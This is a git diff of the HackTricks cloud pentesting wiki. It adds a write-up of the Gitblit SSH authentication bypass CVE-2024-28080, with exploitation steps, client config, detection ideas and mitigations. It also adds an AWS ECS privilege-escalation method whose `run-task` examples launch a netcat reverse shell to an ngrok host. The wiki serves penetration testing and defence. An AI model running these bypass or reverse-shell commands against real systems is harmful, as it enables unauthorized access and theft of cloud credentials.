Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud

src/SUMMARY.md

@@ -9,6 +9,8 @@
 # 🏭 Pentesting CI/CD
 
 - [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
+- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
+  - [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
 - [Github Security](pentesting-ci-cd/github-security/README.md)
   - [Abusing Github Actions](pentesting-ci-cd/github-security/abusing-github-actions/README.md)
     - [Gh Actions - Artifact Poisoning](pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md)
@@ -537,7 +539,3 @@
 
 - [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
 - [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
-
-
-
-

src/pentesting-ci-cd/gitblit-security/README.md

@@ -0,0 +1,21 @@
+# Gitblit Security
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## What is Gitblit
+
+Gitblit is a self‑hosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
+
+## Topics
+
+- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
+
+{{#ref}}
+gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
+{{#endref}}
+
+## References
+
+- [Gitblit project](https://gitblit.com/)
+
+{{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md

@@ -0,0 +1,111 @@
+# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Summary
+
+CVE-2024-28080 is an authentication bypass in Gitblit’s embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that user’s public keys can authenticate without the private key and without the password.
+
+- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
+- Fixed: 1.10.0
+- Requirements to exploit:
+  - Git over SSH enabled on the instance
+  - Victim account has at least one SSH public key registered in Gitblit
+  - Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
+
+## Root cause (state leaks between SSH methods)
+
+In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
+
+Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user.
+
+High‑level flawed flow:
+
+1) Client offers username + public key (no signature yet)
+2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
+3) Client cannot sign (no private key), so auth falls back to password
+4) Password auth sees a user already present in session and unconditionally returns success
+
+## Step‑by‑step exploitation
+
+- Collect a victim’s username and one of their public keys:
+  - GitHub exposes public keys at https://github.com/<username>.keys
+  - Public servers often expose authorized_keys
+- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the public‑key acceptance path on the server.
+
+Example SSH client config (no private key available):
+
+```sshconfig
+# ~/.ssh/config
+Host gitblit-target
+  HostName <host-or-ip>
+  User <victim-username>
+  PubkeyAuthentication yes
+  PreferredAuthentications publickey,password
+  IdentitiesOnly yes
+  IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)
+```
+
+Connect and press Enter at the password prompt (or type any string):
+
+```bash
+ssh gitblit-target
+# or Git over SSH
+GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
+```
+
+Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
+
+Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
+
+## Impact
+
+- Full impersonation of any Gitblit user with at least one registered SSH public key
+- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
+- Potential administrative impact if targeting an admin user
+- Pure network exploit; no brute force or private key required
+
+## Detection ideas
+
+- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
+- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
+
+## Mitigations
+
+- Upgrade to Gitblit v1.10.0+
+- Until upgraded:
+  - Disable Git over SSH on Gitblit, or
+  - Restrict network access to the SSH service, and
+  - Monitor for suspicious patterns described above
+- Rotate affected user credentials if compromise is suspected
+
+## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
+
+Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
+
+- Presenting a legitimate public key for the target user (no private key)
+- Forcing the client to fail signing so the server falls back to password
+- Supplying any password while the password authenticator short‑circuits on leaked state
+
+Practical tips:
+
+- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
+- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
+- MINA SSHD integration pitfalls:
+  - PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
+  - PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
+
+Related protocol/design notes and literature:
+- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
+- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
+
+## References
+
+- [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
+- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
+- [Apache MINA SSHD project](https://mina.apache.org/sshd-project/)
+- [PublickeyAuthenticator API](https://svn.apache.org/repos/infra/websites/production/mina/content/sshd-project/apidocs/org/apache/sshd/server/auth/pubkey/PublickeyAuthenticator.html)
+- [RFC 4252: The Secure Shell (SSH) Authentication Protocol](https://datatracker.ietf.org/doc/html/rfc4252)
+
+
+{{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -12,8 +12,10 @@ VCS stands for **Version Control System**, this systems allows developers to **m
 - Gitlab
 - Bitbucket
 - Gitea
+- Gitblit
 - Cloud providers (they offer their own VCS platforms)
 
+
 ## CI/CD Pipelines
 
 CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
@@ -101,7 +103,5 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
 
 - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 
+
 {{#include ../banners/hacktricks-training.md}}
-
-
-

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -79,6 +79,56 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 **Potential Impact:** Direct privesc to a different ECS role.
 
+### `iam:PassRole`,`ecs:RunTask`
+An attacker that has `iam:PassRole` and `ecs:RunTask` permissions can start a new ECS task with modified **execution role**, **task role** and container's **command** values.  The `ecs run-task` CLI command contains the `--overrides` flag which allows changing at runtime the `executionRoleArn`, `taskRoleArn` and container's `command` without touching the task definition.
+
+The specified IAM roles for `taskRoleArn` and `executionRoleArn` must trust/allow to be assumed by the `ecs-tasks.amazonaws.com` in its trust policy.  
+
+Also, the attacker needs to know:
+- ECS cluster name 
+- VPC Subnet
+- Security group (If no security group is specified the default one will be used) 
+- Task Definition Name and revision
+- Name of the Container 
+
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+  "containerOverrides": [
+    {
+      "name": <container-name>,
+      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+    }
+  ]
+}'
+```
+
+In the code snippet above an attacker overrides only `taskRoleArn` value. However, the attacker must have `iam:PassRole` permission over the `taskRoleArn` specified in the command and the `executionRoleArn` specified in the task definition for the attack to happen.
+
+If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) then the attacker can specify the same IAM role for both `executionRoleArn` and `taskRoleArn` in the `ecs run-task` command.
+
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+  "executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+  "containerOverrides": [
+    {
+      "name": "<container-name>",
+      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+        }
+  ]
+}'
+```
+
+**Potential Impact:** Direct privesc to any ECS task role.
+
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
 Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
@@ -149,7 +199,7 @@ aws ecs run-task \
 
 This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
 This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
-You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).
+You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
 
 > [!WARNING]
 > This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.